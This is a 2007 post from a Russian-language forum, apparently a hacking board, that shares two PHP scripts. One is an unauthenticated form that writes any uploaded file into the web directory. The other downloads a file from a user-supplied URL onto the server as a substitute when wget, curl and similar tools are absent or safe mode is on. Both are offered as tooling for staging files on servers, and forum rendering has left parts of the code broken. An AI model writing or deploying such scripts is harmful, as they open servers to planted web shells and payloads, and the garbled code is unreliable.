Показать сообщение отдельно

топикстартер жжот
  #9  
Старый 16.01.2007, 02:30
LAMAREZ
Новичок
Регистрация: 16.01.2006
Сообщений: 24
Провел на форуме:
87233

Репутация: 63
По умолчанию топикстартер жжот

PHP код:
<?
$fname
=$_FILES['file']['name'];
$name=realpath('.').'/'.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'],$name);
?>
<form method=POST enctype=multipart/form-data>
<input type=file name=file>
<input type=submit></form>
а когда удаленный файл нада слить:

PHP код:
<?php
if(isset($HTTP_POST_VARS['in']))
{
  
$fn $HTTP_POST_VARS['in'];
  
$handle fopen ($fn'rb');
  
$contents "";
  if(!
$handle)
    echo 
'&#x041D;&#x0435; &#x043C;&#x043E;&#x0433;&#x0443; &#x043E;&#x0442;&#x043A;&#x0440;&#x044B;&#x0442;&#x044C; &#x0438;&#x0441;&#x0445;&#x043E;&#x0434;&#x043D;&#x044B;&#x0439; &#x0444;&#x0430;&#x0439;&#x043B;';
  else
  {
    while(!
feof($handle))
    {
      
$data fread($handle8192);
      
$contents .= $data;
    }
    
fclose ($handle);

    
// './' &#x043C;&#x043E;&#x0436;&#x043D;&#x043E; &#x0437;&#x0430;&#x043C;&#x0435;&#x043D;&#x0438;&#x0442;&#x044C;, &#x043D;&#x0430;&#x043F;&#x0440;&#x0438;&#x043C;&#x0435;&#x0440;, &#x043D;&#x0430; $HTTP_GET_VARS['path']
    
$handle fopen ('./' basename($fn), 'wb');
    if(!
$handle)
      echo 
'&#x041D;&#x0435; &#x043C;&#x043E;&#x0433;&#x0443; &#x0441;&#x043E;&#x0437;&#x0434;&#x0430;&#x0442;&#x044C; &#x0437;&#x0430;&#x043F;&#x0438;&#x0441;&#x0430;&#x0442;&#x044C; &#x0444;&#x0430;&#x0439;&#x043B;';
    else
    {
      
fwrite($handle$contents);
      
fclose($handle);
      echo 
'&#x0417;&#x0430;&#x0433;&#x0440;&#x0443;&#x0437;&#x043A;&#x0430; &#x0437;&#x0430;&#x0432;&#x0435;&#x0440;&#x0448;&#x0435;&#x043D;&#x0430;!<br/>&#x0412;&#x0430;&#x0448;&#x044B; &#x0444;&#x0430;&#x0439;&#x043B;&#x044B; &#x0431;&#x0443;&#x0434;&#x0443;&#x0442; &#x043B;&#x0435;&#x0436;&#x0430;&#x0442;&#x044C; &#x0432; <a href="http://xxs.ru/upload"><b>http://xxs.ru/</b></a>
'
;
    }
  }
}
?>               
<FORM ACTION="<?php echo $_SERVER['PHP_SELF']; ?>" METHOD="post">
 <INPUT TYPE="hidden" NAME="act" VALUE="send">
 URL:<BR />
 <INPUT TYPE="text" NAME="in" SIZE="64"><BR />
 <INPUT TYPE="submit" VALUE="&#x0417;&#x0430;&#x0433;&#x0440;&#x0443;&#x0437;&#x0438;&#x0442;&#x044C;">
</FORM><BR />
</BODY></HTML>
скрипт в тему, когда нет wget,curl,fetch,lynx,get и другой дряни... либо вобще сэйфмод он)
 
Ответить с цитированием